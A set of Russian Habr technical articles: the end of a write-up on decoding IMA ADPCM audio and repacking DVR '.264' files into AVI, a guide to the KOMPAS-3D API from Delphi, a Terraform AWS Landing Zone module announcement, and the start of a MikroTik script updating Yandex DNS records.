Двенадцать байт информации после заголовка блока аудиопотока я разгадал частично. Во всяком случае, ключевыми элементами являются 4 последних байта, после которых начинается аудиопоток. Это два 16-разрядных числа, которые описывают начальные параметры итерационной схемы декодирования из ADPCM в PCM. Декодирование увеличивает размер аудиопотока в 4 раза. Я ещё заранее при детальном исследовании файлов выяснил, что штатный перепаковщик декодирует аудио, но содержимое видео оставляет без изменений.
Не имея глубоких знаний, я долго пытался разгадывать, какой именно алгоритм декодирования применён в моём случае. Интуитивно уже догадывался, что применён метод сжатия ADPCM. Точнее, не интуитивно, а с грамотным подходом, опираясь на тот факт, что аудиопоток сжат ровно в 4 раза. А при открытии фрагмента в Adobe Audition как RAW в различных форматах (и сравнивая такой же фрагмент после перепаковки штатной программой), очень похожий (но не точный) по звучанию результат мне выдал ADPCM. Для разбора алгоритма сжатия мне помогла информация на сайте [wiki.multimedia.cx/index.php/IMA\_ADPCM](https://wiki.multimedia.cx/index.php/IMA_ADPCM). Здесь я узнал о двух начальных параметрах декодирования, а потом «методом тыка» догадался, что эти начальные параметры записаны в 4-х байтах перед началом аудиопотока. Опишу работу алгоритма и приведу грубую математическую интерпретацию (под спойлером).
**Подробности алгоритма декодирования ADPCM**
Имеется последовательность сэмплов  Кроме того, как уже говорилось, имеются два начальных параметра  и . Требуется получить новую последовательность сэмплов . Как уже можно догадаться, первый по счёту выходной сэмпл уже известен: он совпадает с одним из начальных параметров . Это есть нечто иное, как «начальное смещение». Стоит отметить, что входные (исходные) сэмплы закодированы четырьмя битами. Для знаковых типов под кодировку попадают целые числа от -8 до 7 включительно. Старший бит, по сути, отвечает за знак числа. Выходные PCM сэмплы, которые получаются после декодирования, имеют знаковый 16-битный стандартный формат.
Анализируя код алгоритма на Си, можно увидеть две таблицы. Они приведены ниже.
```
int ima_index_table[] =
{
-1, -1, -1, -1, 2, 4, 6, 8
};
```
```
int ima_step_table[] =
{
7, 8, 9, 10, 11, 12, 13, 14,
16, 17, 19, 21, 23, 25, 28, 31,
34, 37, 41, 45, 50, 55, 60, 66,
73, 80, 88, 97, 107, 118, 130, 143,
157, 173, 190, 209, 230, 253, 279, 307,
337, 371, 408, 449, 494, 544, 598, 658,
724, 796, 876, 963, 1060, 1166, 1282, 1411,
1552, 1707, 1878, 2066, 2272, 2499, 2749, 3024,
3327, 3660, 4026, 4428, 4871, 5358, 5894, 6484,
7132, 7845, 8630, 9493, 10442, 11487, 12635, 13899,
15289, 16818, 18500, 20350, 22385, 24623, 27086, 29794,
32767
};
```
Эти два «волшебных» массива, можно сказать, представляют собой табличные функции, в аргументы которых подставляются соответственно те самые два начальных параметра. В процессе итерации с каждым шагом параметры пересчитываются и подставляются в эти таблицы вновь. Сначала посмотрим, как это реализуется в коде.
Объявляем необходимые, в том числе и вспомогательные переменные.
```
int current1;
int step;
int stepindex1;
int diff;
int current;
int stepindex;
int value; //Значение входного сэмпла;
```
Перед началом итерации нужно присвоить переменной current начальный параметр , а переменной stepindex — . Это делается за пределами рассматриваемого алгоритма, поэтому я не отражаю это кодом. Далее следуют преобразования, которые выполняются по кругу (в цикле).
```
value = read(input_sample); //Псевдокод считывания входного сэмпла;
current1 = current;
stepindex1 = stepindex;
step = ima_step_table[stepindex1];
diff = step>>3;
if(value & 1){
diff += step >> 2;
}
if(value & 2){
diff += step >> 1;
}
if(value & 4){
diff += step;
}
if(value & 8){
current1 -= diff;
if(current1 < -32768){ //Лимит, если "зашкалит";
current1 = -32768;
}
}else{
current1 += diff;
if(current1 > 32767){ //Лимит, если "зашкалит";
current1 = 32767;
}
}
//На этом этапе известно значение выходного сэмпла: это переменная current1;
stepindex1 += ima_index_table[value & 7];
if(stepindex1 < 0){ //Тоже "лимит";
stepindex1 = 0;
}
if(stepindex1 > 88){ //Тоже "лимит";
stepindex1 = 88;
}
output_sample = curent1; //Псевдокод вывода выходного сэмпла;
current = current1;
stepindex = stepindex1;
```
Во вспомогательную переменную step из массива ima\_step\_table записывается значение по индексу stepindex1. Для первой итерации это начальный параметр , для дальнейших итераций это пересчитанный параметр . Затем значение из этого массива делится на 8 (видимо, нацело) операцией битового сдвига вправо, и результатом этого деления инициализируется переменная diff. Затем происходит анализ трёх младших битов значения входного сэмпла и, в зависимости от их состояний, переменная diff может быть скорректирована тремя слагаемыми. Слагаемые представляют собой аналогичное целочисленное деление значения diff на 4 (>>2), на 2 (>>1) или diff без изменений (пусть это будет деление на 1 для обобщения). Затем анализируется старший (знаковый) бит значения входного сэмпла. В зависимости от его состояния к переменной current1 прибавляется или вычитается переменная diff, которая была сформирована перед этим. Это и будет значение выходного сэмпла. Для корректности значения ограничиваются сверху и снизу. Затем stepindex1 корректируется путём прибавления значения из массива ima\_index\_table по индексу значения входного сэмпла с обнулённым знаковым битом. Значения stepindex1 также подвергаются лимиту. В самом конце перед повторением этого алгоритма значениям current и stepindex присваиваются только что пересчитанные значения current1 и stepindex1, и алгоритм повторяется заново.
Можно попробовать разобраться, чтобы приблизительно понять, как формируется переменная diff. Пусть . Это значения переменной step на каждом i-ом шаге итерации, как значения функции (массива) аргумента , где . Для удобства обозначим сишную переменную diff как . Следуя логике рассуждений, описанных выше, имеем: 
где  — младшие 3 бита числа . Приводя к общему знаменателю, преобразуем это выражение к более удобному виду: 
Последнее преобразование основано на том, что, в неком смысле, младшие три бита (0 или 1) числа  с представленными коэффициентами есть ничто иное, как запись абсолютного значения этого числа, а старший бит числа  будет соответствовать знаку всего выражения. Далее по формуле 
вычисляется новое значение сэмпла на основе старого. Кроме того, вычисляется новое значение переменной : 
Модуль в формуле указывает на то, что переменная  попадает в функцию  без учёта старшего знакового бита, что и отражено в коде. А функция  — это значение массива ima\_index\_table с индексом, соответствующий аргументу.
В описании формул я пренебрёг операциями ограничения сверху и снизу. Итого, итерационная схема выглядит приблизительно так: 
Сильно глубоко в теорию кодирования/декодирования ADPCM я не вникал. Однако, табличные значения массива ima\_step\_table (из 89 штук), судя по отражению их на графике (см. рис. ниже), описывают вероятностное распределение сэмплов относительно нулевой линии. На практике обычно так: чем сэмпл ближе к нулевой линии, тем он чаще встречается. Следовательно, ADPCM основан на вероятностной модели, и далеко не любой исходный набор 16-битных сэмплов PCM может быть корректно преобразован в 4-битные сэмплы ADPCM. А вообще говоря, ADPCM — это PCM с переменным шагом квантования. Как раз, видимо, данный график отражает этот самый переменный шаг. Он выбран грамотно, на основе закона распределения аудиоданных на практике.
Теперь перейдём к описанию структуры avi контейнера. На самом деле, он представляет собой сложную иерархическую структуру.
Но, упростив задачу для частного случая, я представил структуру avi в линейном виде. Итого получилось так: файл avi состоит из большого заголовка, нулевых байтов пропуска (JUNK), области потоков аудио и видео (с их заголовками и размерами содержимого), и списка индексов. Последний служит, в частности, для прокрутки видео в плеере. Без этого списка прокрутка не будет работать (проверял). Он представляет собой только оглавление, где перечислены ключевые названия блоков потока (совпадающими с названиями в заголовках блока), соответствующие размеры содержимого и значения смещений (адреса) относительно начала области потоков.
Теперь можно перейти к разработке программы. Конкретное описание задачи следующее.
*В корне раздела X: имеется каталог «DVR». В данном каталоге содержится множество непустых подкаталогов (и только подкаталогов) с именами, которые соответствуют неким датам. В каждом из таких подкаталогов имеется множество файлов с различными именами и расширением «264». Требуется в разделе Y: создать каталог «DVR», а в нём те же самые подкаталоги, как и в разделе X:. Каждый из таких подкаталогов заполнить файлами с теми же соответствующими именами, но с расширениями не «264», а «avi». Данные avi-файлы нужно получить из исходных 264-файлов путём их обработки, которая, так или иначе, повторяет алгоритм уже имеющейся программы. Обработка заключается в прямой перепаковке потоков видео, перепаковке с декодированием потоков аудио, форматировании файла avi. Программа должна запускаться из командной строки следующим образом: «264toavi.exe X: Y:», где «264toavi.exe» — имя программы, «X:» — исходный раздел, «Y:» — раздел назначения.*
На самом деле, для упрощения задачи, можно было написать программу, которая занималась бы только преобразованием (перепаковкой) одного файла, сделав дня неё два аргумента: имя входного файла и имя выходного файла. А затем, чтобы реализовать именно групповую перепаковку, можно написать командный батник (bat), используя другие инструменты, например, Excel. Но мной была реализована полноценная программа, весьма громоздкая. Вряд ли исходный код заслужил бы внимания у читателей. Опишу структуру программного кода.
Программа написана на языке Си в среде разработки «Dev-C++» с элементами WinAPI. В программе реализованы три большие вспомогательные функции: функция формирования первоначального заголовка avi, функция декодирования сэмпла аудио и функция сканирования исходного файла «264» по словам. Словами я называю порцию из 4-х байт. Было замечено, что размеры заголовков и содержимого всех потоков кратны четырём байтам. Функция сканирования может возвращать пять значений: 0 – если это обычные 4 байта видеопотока для перепаковки, 1 – если это заголовок блока видеопотока опорного кадра, 2 – если это заголовок блока видеопотока сжатого кадра, 3 – если это заголовок блока аудиопотока, 4 – если это «испорченный» блок, который нужно игнорировать при перепаковке. Очень-очень редко, но такое встретилось. Испорченный блок (как я его назвал) представляет собой заголовок вида «\0\0\0\0H264», где «\0» — нулевой байт. Блоки такого вида штатный перепаковщик игнорирует. Разумеется, содержимое такого блока может оказаться вполне рабочим, но я подобные блоки игнорирую для максимального приближения своей программы к штатной.
В основной функции, кроме организации каталогов, происходит считывание входного файла функцией сканирования. В зависимости от того, что возвратила эта функция, происходят дальнейшие действия. Если это заголовки видеопотоков, то формируются в выходной avi файл соответствующие заголовки. Там они именуются по-другому: «00db» — это заголовок блока видеопотока опорного кадра, а «00dc» — для сжатого кадра. После операции перепаковки (переписывания слов) перед новым вновь встретившимся заголовком происходит расчёт размера перепакованного содержимого и запись этого значения в поле, которое следует сразу за заголовком только что обработанного потока. Если при сканировании встретился заголовок аудиопотока, то формируется в выходной avi файл имя заголовка «03wb» и тут же в цикле происходит декодирование аудиопотока из ADPCM в PCM одновременно с записью декодированного содержимого в avi файл. Одновременно со всем вышесказанным происходит фиксирование краткой информации (оглавления) во временный файл индексов «index». Функцию сканирования можно было не делать, а всё писать в основной функции. Но тогда программа бы получилась очень громоздкой и практически сложно читаемой.
В конце всей операции, когда кончился входной файл «264», прежде чем перейти на новый файл, программа грамотно завершает все операции. Сначала корректируются определённые поля в заголовке avi файла, значения которых зависят от размеров и количества прочитанных потоков, а затем к почти готовому файлу avi присоединяется содержимое временного файла «index», который затем удаляется. После этих операций выходной avi файл готов к воспроизведению.
Во время работы программы в командной строке происходит текстовая визуализация, которая отображает текущий каталог, файл, а также номер блока видеопотока, приходящийся на опорный кадр и соответствующий момент времени видео в минутах и секундах. А если входной файл имеет не произвольное имя, а исходное (содержащее номер канала, дату и время начала записи), то происходит более интерактивная визуализация, основанная на арифметике даты-времени.
При тестировании и отлаживании программы основные проблемы у меня возникали при работе с декодированием звука. Простая арифметика работала некорректно, если я при объявлении переменных в функции декодирования неграмотно расставлял типы. Из-за этого, некоторые блоки аудиопотоков были битыми, а на слух наблюдались щелчки. Несколько не совсем понятных полей заголовка исходного файла 264, которые я не смог разгадать, оказались нечувствительными к результату. В отличие от штатной программы моя программа не выкидывает из операции перепаковки последний незавершённый блок потока. Хотя, его отсутствие никакой практической роли не сыграет. Ещё штатная программа, в отличие от моей, оставляет за собой «мусор» в небольшом количестве (это содержимое последнего потока) в самом конце avi файла после индексов. При всём при этом видео воспроизводится практически одинаково. А перепаковку программа осуществляет за тот же промежуток времени, что и штатная программа.
В заключение я приведу иллюстрации, демонстрирующие структуру организации потоков в файле .264 (в шестнадцатеричном редакторе WinHex) на примере одного из файлов и вид программы RiffPad с открытым в нём перепакованным файлом avi. Данная программа мне очень упростила процесс изучения структуры avi файла. Она наглядно демонстрирует иерархическую структуру, показывает байтовое содержимое каждого члена структуры и даже умно интерпретирует содержимое заголовков в виде списка параметров. На картинке, в частности, продемонстрирован тот факт, что содержимое видеопотока переписывается без изменений.
 | https://habr.com/ru/post/422163/ | null | ru | null |
# Работаем с КОМПАС 3D из DELPHI
Приветствую тебя, %username%.
Куда нас только не закидывает судьбинушка. С какими только порождениями ума человеческого не приходится сталкиваться. Вот и мне пришлось копнуть тему, касаемую API Компас от Аскон.
Информации по данной теме я нашёл не достаточно. Нулевому разработчику даётся SDK Help и ряд примеров, всё в комплекте с программой.
Поддержка на форуме <http://forum.ascon.ru/index.php/board,4.0.html> — практически никакая (на 80% вопросов пользователи отвечают сами себе).
Но программа всё-же достаточно популярная *(Особенно честно взломанные версии)*, посему вопросы задаются. Чтобы как то помочь тем, кто волею судеб (злого рока, руководства, либо истеричного заказчика) столкнётся с данным продуктом, эта статья.
Тут я выложу «прожиточный минимум», старт, оттолкнувшись от которого, можно писать не самые плохие программы, да и зарабатывать при желании, как показала практика.
Сразу предупрежу, что прежде, чем писать под Компас, необходимо обладать хотя бы минимальными представлениями о системе (черчение, создание модели, параметризация, работа с переменными)
Замечу сразу, что информация к данной статье была взята из разных источников, многих уже и не помню… Писалась самостоятельно… все намёки на копипаст в игнор, кроме некоторых кусков кода, ибо велосипед дело хорошее, но лично мне удобнее использовать готовые наработки.
##### 1. Установка
Ни чего нового тут не изобретено. Стандартно устанавливаем компоненту для Delphi. Следим, чтоб пути были прописаны.
##### 2. После установки
Рекомендую позапускать (посмотреть) Демки, идущие в комплекте.
##### 3. Как запустить Компас из нашей программы
(общая структура, чисто для примера):
> `Copy Source | Copy HTML1. uses
> 2. ActiveX, Db, IniFiles, LDefin2D,LDefin3D, ksConstTLB,
> 3. {$IFDEF \_\_LIGHT\_VERSION\_\_}
> 4. klTLB;
> 5. {$ELSE}
> 6. ksTLB, CheckLst;
> 7. {$ENDIF}
> 8.
> 9. var kompas:KompasObject;
> 10. doc2:ksDocument2D;`
> `Copy Source | Copy HTML1. // Создать объект автоматизации KOMPAS\_Graphic
> 2. if Kompas = nil then begin
> 3. {$IFDEF \_\_LIGHT\_VERSION\_\_}
> 4. Kompas:= KompasObject( CreateOleObject('KompasLT.Application.5') );
> 5. {$ELSE}
> 6. Kompas:= KompasObject( CreateOleObject('Kompas.Application.5') );
> 7. {$ENDIF}
> 8. if Kompas <> nil then Kompas.Visible := true;
> 9. end;
> 10.
> 11. doc2:= ksDocument2D( kompas.Document2D );
> 12. if FileIsThere(FileName) then // FileName - имя шаблона+путь
> 13. doc2.ksOpenDocument(FileName,false) // Открываем чертеж
> 14. else MessageBox(self.Handle,Pchar(FileName),'Файл не найден',MB\_OK);
> 15. if doc2<>nil then begin
> 16.
> 17. //ТУТ РАБОТАЕМ С ДОКУМЕНТОМ
> 18.
> 19. doc2.ksSaveDocument(FileName1);//FileName1 - имя готового документа+путь
> 20. end;
> 21.
> 22. //Когда закончим - Kompas:=nil;`
Функция *FileIsThere* — выдрана из примеров help Delphi.
Напомню, что как и при работе с любыми сторонними приложениями (написанными кем-то), по возможности необходимо проверять все возвращаемые результаты.
Работать с Компас API можно в двух вариантах: Внешняя программа и встроенная библиотека. Здесь будет рассмотрено только внешнее управление системой, ибо разница не велика (в смысле суть взаимодействия с Компас).
В демках SDK есть примеры непосредственного черчения в Компас, я же предпочитаю чертить вручную, тем более, что обычно на выходе требуются варианты одного изделия с разными размерами, а значит мы можем использовать шаблоны.
##### 4. И так… работаем с деталью
###### 4.1. Подготовка шаблонов
Для начала создадим шаблон. Допустим, это будет трёхступенчатый вал. Пока простой (без излишеств всяких).
Чертим 3D вал. [](http://radikal.ru/F/i082.radikal.ru/1004/a2/91b273560d80.jpg.html)
Параметризируем его. Переменные L1,D1,L2,D2,D3,L3 — Длины и Диаметры ступеней. Сделаем их внешними переменными. [](http://radikal.ru/F/s47.radikal.ru/i117/1004/6e/4afa23377182.jpg.html)[](http://radikal.ru/F/s44.radikal.ru/i104/1004/ce/d20c9603c019.jpg.html)
Назначьте Обозначение, Наименование детали и создайте Объект спецификации.
Не забудьте сохранить.
Далее на основе данного 3d шаблона, нам необходим чертёж, создайте его.
Убедитесь, что проставленные размеры правильно привязаны к элементам чертежа.
Сохраните уже, да приступим к программированию.
###### 4.2. Подготовка формы программы
[](http://radikal.ru/F/s02.radikal.ru/i175/1004/40/df9a65937deb.jpg.html)
Создадим форму, кинем на неё 6 элементов TEdit, обзовём их по именам наших внешних переменных edL1...edD3.
Кинем на форму 3 кнопки. Напишем на них «Запуск», «Выход» и «Применить».
Так же нам потребуется *TSaveDialog*.
Остальное, по желанию трудящихся: 2 элемента TEdit под Обозначение и наименование детали (можно этого не делать, а назначать программно).
Переменные:
> `Copy Source | Copy HTML1. var doc: ksDocument3D;
> 2. doc2:ksDocument2D;
> 3. Kompas :KompasObject;`
Кнопке «Запуск» назначаем код:
> `Copy Source | Copy HTML1. begin
> 2. // Создать объект автоматизации KOMPAS\_Graphic
> 3. if Kompas = nil then
> 4. begin
> 5. {$IFDEF \_\_LIGHT\_VERSION\_\_}
> 6. Kompas:= KompasObject( CreateOleObject('KompasLT.Application.5') );
> 7. {$ELSE}
> 8. Kompas:= KompasObject( CreateOleObject('Kompas.Application.5') );
> 9. {$ENDIF}
> 10. if Kompas <> nil then
> 11. Kompas.Visible := true;
> 12. end;
> 13. end;`
Кнопке «Выход» назначаем код:
> `Copy Source | Copy HTML1. begin
> 2. if doc2d<>nil then doc2d:=nil;
> 3. if doc3d<>nil then doc3d:=nil;
> 4. if Kompas <> nil then begin
> 5. //принудительно закрыть
> 6. Kompas.Quit;
> 7. Kompas := nil;
> 8. end;
> 9. end;`
Сохраним проект и запустим его. Компас открывается, Компас закрывается, что не может не радовать.
###### 4.3. Работаем с внешними переменными 3d
Обработаем ввод значений в TEdit. Нам нужны только числа.
И начнём работать с кнопкой «Применить».
Сделаем проверку на наличие привязанного объекта компас и введёные параметры. Сообщения об ошибках расписывать не буду сознательно, т.к. у нас чистая демонстрация, уж простите за моветон.
Я вынес всю обработку детали в отдельную процедуру, чтобы при необходимости можно было работать с разными изделиями.
procedure TForm2.ReBuildPart(FileName:String);
вызов делаем из обработчика нажатия кнопки «Применить» ReBuildPart('Shaft.m3d');
где, как все уже догадались, 'Shaft.m3d'название файла с нашим валом.
Переменные, с которыми будем работать:
> `Copy Source | Copy HTML1. Var
> 2. part: ksPart; //Тут храним нашу деталь
> 3. varCol: ksVariableCollection; //Коллекция переменных детали
> 4. variable: ksVariable; //Активная переменная
> 5. i,count: integer; //Счётчики
> 6. Patch:String; //Путь до файла - шаблона`
Начнём с открытия файла шаблона модели. (У меня он сохранён в поддиректории «draw», для удобства)
Сама процедура обработки внешних переменных детали:
> `Copy Source | Copy HTML1. Begin
> 2. Patch:=ExtractFilePath(Paramstr(0))+'draw\'; //Шаблоны у меня в каталоге "draw"
> 3. if Kompas <> nil then begin
> 4. if FileIsThere(Patch+FileName) then begin
> 5. doc3d := ksDocument3D( Kompas.Document3D );
> 6. if doc3d <> nil then
> 7. doc3d.Open(Patch+FileName, false );
> 8. end else exit;
> 9. end else exit;
> 10. part := ksPart( doc3d.GetPart(pTop\_Part) ); // первая деталь в сборке
> 11. // в нашем случае, наша деталь.
> 12. if part <> nil then begin
> 13. // работа с массивом внешних переменных
> 14. varCol := ksVariableCollection(part.VariableCollection() );
> 15. if varCol <> nil then
> 16. begin
> 17. variable := ksVariable( kompas.GetParamStruct(ko\_VariableParam) );
> 18. if variable = nil then exit; //Проверим, а есть ли они?
> 19. count := varCol.GetCount(); //Количество внешних переменных
> 20. for i := 0 to count - 1 do //Пробежим по всем переменным
> 21. begin
> 22. variable := ksVariable( varCol.GetByIndex(i) );
> 23. // Смотрим имя переменной, если наше, то присваиваем значение.
> 24. if variable.Name='L1' then variable.Value := StrToFloat(edL1.Text);
> 25. if variable.Name='L2' then variable.Value := StrToFloat(edL2.Text);
> 26. if variable.Name='L3' then variable.Value := StrToFloat(edL3.Text);
> 27. if variable.Name='D1' then variable.Value := StrToFloat(edD1.Text);
> 28. if variable.Name='D2' then variable.Value := StrToFloat(edD2.Text);
> 29. if variable.Name='D3' then variable.Value := StrToFloat(edD3.Text);
> 30. end;
> 31.
> 32. // Здесь вставим запонение спецификации.
> 33.
> 34. part.needRebuild:=true;
> 35. part.Update;
> 36. part.RebuildModel(); // перестроение модели детали
> 37.
> 38. end;
> 39. end;
> 40.
> 41. doc3d.treeNeedRebuild:=true;
> 42. doc3d.RebuildDocument; // перестроение модели документа
> 43.
> 44. //Перезаписываем файл.
> 45. doc3d.Save;
> 46. doc3d.close; //Опционально... не люблю, когда много всего открыто...
> 47. //Для познавательного момента, можно и закомментировать.
> 48.
> 49. End;`
Сразу возникают вопросы: «А зачем столько раз перестраивать модель?»
Сразу и отвечу: «Иногда не срабатывает. То переменную „не зацепит“, то остальные значения „не примет“. Бывает… У разных потребителей разные версии, от лицензионной с изредка всплывающими ошибками, до ломаной, иногда идеально работающей...»
*(Это не призыв отказаться от покупки лицензионной версии, это скорее просьба к местным дистрибьюторам попытаться качественно решать проблемы, пусть иногда «криворуких», но Клиентов.)*
Опробуем созданный код в действии.
За сим пока всё… Если будут силы, желание и настроение, то возможно увидим в части второй:
###### 4.4. Работаем со спецификацией
###### 4.5. Работаем с наименованием детали
###### 4.6. Работаем с чертежом
##### 5. Маленькие «обходные пути». Или не всегда вредные советы | https://habr.com/ru/post/91390/ | null | ru | null |
# Представляем программируемую AWS Landing Zone в модуле Terraform
*Всем привет! В декабре OTUS запускает новый курс — [Cloud Solution Architecture](https://otus.pw/YgPj/). В преддверии старта данного курса делимся с вами переводом интересного материала по теме.*
---
[AWS Landing Zone](https://aws.amazon.com/solutions/aws-landing-zone/) – это решение, которое помогает клиентам быстро настроить безопасную среду AWS с несколькими учетными записями, основываясь на лучших практиках.
В течение более чем пяти лет существования наша команда в Mitoc Group неустанно работала над тем, чтобы помогать крупным организациям успешно проводить цифровую трансформацию и строить или переносить свой цифровой след в облако AWS. Другими словами, цитируя наших друзей из AWS: «Наши клиенты заново открывают себя с AWS». Это бесконечные усилия по переизобретению и упрощению механик от имени самих клиентов, и AWS отлично справляется с решением сложных проблем с помощью простых в усвоении решений.
*AWS Landing Zone ([источник](https://aws.amazon.com/solutions/aws-landing-zone/))*
### Что такое AWS Landing Zone?
Как гласит информация из официального источника:
*AWS Landing Zone – это решение, которое помогает клиентам быстрее настраивать безопасную среду AWS с несколькими учетными записями, основываясь на лучших практиках AWS. При большом количестве вариантов, настройка среды с несколькими учетными записями может занять значительное время, а также включать в себя настройку множества аккаунтов и сервисов, и требовать глубокого понимания работы сервисов AWS.*
Решение AWS Landing Zone значительно снизило сложность и согласованность аналогичных друг другу шаблонов проектирования, которые предоставляются различным клиентам. С другой стороны, нашей команде пришлось перенастроить некоторые компоненты CloudFormation в качестве компонентов Terraform, чтобы использовать их дальше для автоматизации.
Поэтому мы задались вопросом, почему бы не построить всё решение AWS Landing Zone в Terraform? Можем ли мы это сделать и решит ли это проблемы наших клиентов? *Спойлер: решит и уже решает! :)*
### Когда не стоит использовать AWS Landing Zone?
Если вы имеете дело с обычными облачными сервисами и облачными ресурсами в рамках одной или двух учетных записей AWS, эти меры могут оказаться излишними. Все, кто к этому пункту не относятся, могут продолжать чтение :)
### Что нужно учесть перед началом работы?
У многих крупных организаций, с которыми мы работали, уже есть какая-то стратегия использования облачных технологий. Компании борются за успешное внедрение облачных сервисов, не имея четкого видения и сформулированных ожиданий. Пожалуйста, потратьте время на то, чтобы определиться со своей стратегией и понять как AWS в нее вписывается.
Определяясь со стратегией, успешные клиенты AWS Landing Zone активно акцентируют внимание на следующем:
* Просто автоматизация – это не вариант. Предпочтительна нативная облачная автоматизация.
* Команды последовательно используют одни и те же механики с тем же набором инструментов для подготовки облачных ресурсов. Лучше использовать Terraform.
* Самые продуктивные пользователи облачных сервисов имеют возможность создавать переиспользуемые процессы и предоставлять их в качестве переиспользуемых сервисов вместо переиспользуемого кода. Предпочтительно использование бессерверной архитектуры.
### Представляем модуль Terraform для AWS Landing Zone
После нескольких месяцев напряженной работы я с удовольствием представляю вам [модуль Terraform для AWS Landing Zone](https://registry.terraform.io/modules/TerraHubCorp/landing-zone/aws/0.2.0). [Исходный код](https://github.com/TerraHubCorp/terraform-aws-landing-zone) хранится на GitHub, а [стабильные версии релизов](https://registry.terraform.io/modules/TerraHubCorp/landing-zone) публикуются на Terraform Module Registry.
Чтобы начать работу, просто включите `main.tf` в ваш код:
```
module "landing_zone" {
source = "TerraHubCorp/landing-zone/aws"
version = "0.0.6"
root_path = "${path.module}"
account_id = "${var.account_id}"
region = "${var.region}"
landing_zone_components = "${var.landing_zone_components}"
}
```
Примечание: обязательно включите `variables.tf` и все, что вам может пригодиться из `outputs.tf`.
Чтобы облегчить понимание, мы добавили значения по умолчанию в `terraform.tfvars`:
```
account_id = "123456789012"
region = "us-east-1"
landing_zone_components = {
landing_zone_pipeline_s3_bucket = "s3://terraform-aws-landing-zone/mycompany/landing_zone_pipeline_s3_bucket/default.tfvars"
[...]
}
```
Это означает, что при использовании этого модуля `terraform` вам потребуется:
1. Изменить значения `account_id` и `region` на ваши собственные, которые соответствуют данным в AWS Organization;
2. Изменить значения `landing_zone_components` на те, которые соответствуют вашему варианту использования AWS Landing Zone;
3. Изменить `s3://terraform-aws-landing-zone/mycompany` на ваш блок *S3* и префикс ключа *S3*, где вы будете хранить файлы `.tfvars` (или абсолютный путь к файлам `.tfvars` в вашем локальном хранилище).
Этот модуль может иметь десятки, сотни или тысячи развертываемых компонентов, но не все из них должны быть и будут развернуты. Во время выполнения, компоненты, которые не являются частью карты переменных `landing_zone_components` будут проигнорированы.
### Заключение
Мы очень рады и горды тем, что делимся плодами наших усилий, которые помогают клиентам создавать нативную облачную автоматизацию. Модуль Terraform для AWS Landing Zone – это еще одно решение, которое помогает организациям быстрее настроить безопасную среду AWS с несколькими учетными записями, основываясь на лучших практиках AWS. Мы хорошо знаем, что AWS развивается безумно быстро, и мы стремимся также быстро развивать решение terraform, которое охватывает все основы, а также интегрируется с другими рабочими решениями AWS.
На этом все. Ждем ваши комментарии и приглашаем на [бесплатный вебинар](https://otus.pw/YgPj/) в рамках которого мы **изучим проектирование архитектуры домена Cloud Landing Zone и рассмотрим архитектурные шаблоны основных доменов**. | https://habr.com/ru/post/479344/ | null | ru | null |
# Делаем dDNS-клиент для DNS Яндекса на MikrotikOS
Зашёл недавно с другом разговор про DynDNS и подобные сервисы, и я вспомнил что давно хотел реализовать аналог на базе API которое предоставляет Yandex для управления DNS-хостингом. Уже несколько лет я владею чудесной железкой [Mikrotik RB750GL](http://routerboard.com/RB750GL) и очень хотелось чтобы обновляла запись именно она.
Но до недавнего времени это было не возможно, так как MikroTik умеет скачивать файлы только по HTTP, а API Yandex работает только по HTTPS. И вот зайдя на [Wiki Mikrotik](http://wiki.mikrotik.com/wiki/Manual:Tools/Fetch) увидел заветную запись:
> Fetch now supports HTTPS protocol. By default no certificate checks are made, but setting check-certificate to yes enables trust chain validation from local certificate store. CRL checking is never done.
Скрипт начал писать ещё тогда когда версия Mikrotik RouterOS была 6.0rc14, а продолжил уже на релизной версии 6.0
Ну а теперь собственно скрипт:
Первая часть скрипта – это настройка. Все необходимые параметры указываем в теле самого скрипта как локальные переменные. Это имя домена, токен и ID записи. Текущий IP будем получать из свойств интерфейса, указываем его имя.
Токен можно получить только ручками, получение ID можно автоматизировать, но мне это не было нужно. Почитать можно в документации API DNS:
* [Получение токена](http://api.yandex.ru/pdd/doc/api-pdd/reference/api-dns_get_domain_records.xml#api-dns_get_domain_records)
* [Получение ID записи](http://api.yandex.ru/pdd/doc/api-pdd/reference/api-dns_get_domain_records.xml#api-dns_get_domain_records)
```
:local YaDNSdomain "domain.ru"
:local YaDNStoken "132456789012345678901234567890"
:local YaDNSrecordid "1234567"
:local YaDNSTTL "300"
:local YaDNSInterfaceName "PPPoE_NBN"
:global YaDNSForceUpdateOnce
:global YaDNSPreviousIP
```
Здесь же 2 глобальные переменные, о них позже.
Вторая часть скрипта – получение текущего IP с интерфейса. В переменной $YaDNSCurrentIP получим IP адрес, если где-то ошибка — скрипт напишет в лог пояснение и завершится.
```
# get the current IP address from the interface
:if ([:len [/interface find name=$YaDNSInterfaceName]] = 0 ) do={
:log info "UpdateYaDNS: No interface named $YaDNSInterfaceName , please check configuration."
:error "UpdateYaDNS: No interface named $YaDNSInterfaceName , please check configuration."
}
:local YaDNSYaDNSCurrentIPMask [ /ip address get [/ip address find interface=$YaDNSInterfaceName] address ]
:local YaDNSCurrentIP [:pick $YaDNSYaDNSCurrentIPMask 0 [:find $YaDNSYaDNSCurrentIPMask "/"]]
:if ([ :typeof $YaDNSCurrentIP ] = "nothing" ) do= {
:log info "UpdateDynDNS: No ip address present on $YaDNSInterfaceName, please check."
:error "UpdateDynDNS: No ip address present on $YaDNSInterfaceName, please check."
}
```
Немного поясню с различными «предыдущими» IP. Их у меня 2:
* $YaDNSPreviousIP – это IP значение с момента когда скрипт последний раз пытался обновить IP
* $YaDNSDomainRecord – это значение которое мы спросили у Яндекса через метод [get\_domain\_records](http://api.yandex.ru/pdd/doc/api-pdd/reference/api-dns_get_domain_records.xml#api-dns_get_domain_records)
```
:if ([:typeof $YaDNSPreviousIP] = "nothing" ) do={ :global YaDNSPreviousIP 0.0.0.0 }
:local YaDNSsrcpath1 ( "nsapi/get_domain_records.xml\?token=" . $YaDNStoken . "&domain=" . $YaDNSdomain )
:local YaDNSAPI [:resolve "pddimp.yandex.ru"]
/tool fetch mode=https address="$YaDNSAPI" host="pddimp.yandex.ru" src-path=$YaDNSsrcpath1 dst-path="/YaDNSGetDomainRecord.txt"
:local Result1 [/file get YaDNSGetDomainRecord.txt contents]
:local Result2 [:pick $Result1 ([:find $Result1 "id=\"$YaDNSrecordid"]) ([:find $Result1 "id=\"$YaDNSrecordid"]+42) ]
:set YaDNSDomainRecord [:pick $Result2 ([:find $Result2 ">"] + 1) ( [:find $Result2 "<"] ) ]
```
А вот теперь об этом куске скрипта и почему так получилось:
```
:local YaDNSAPI [:resolve "pddimp.yandex.ru"]
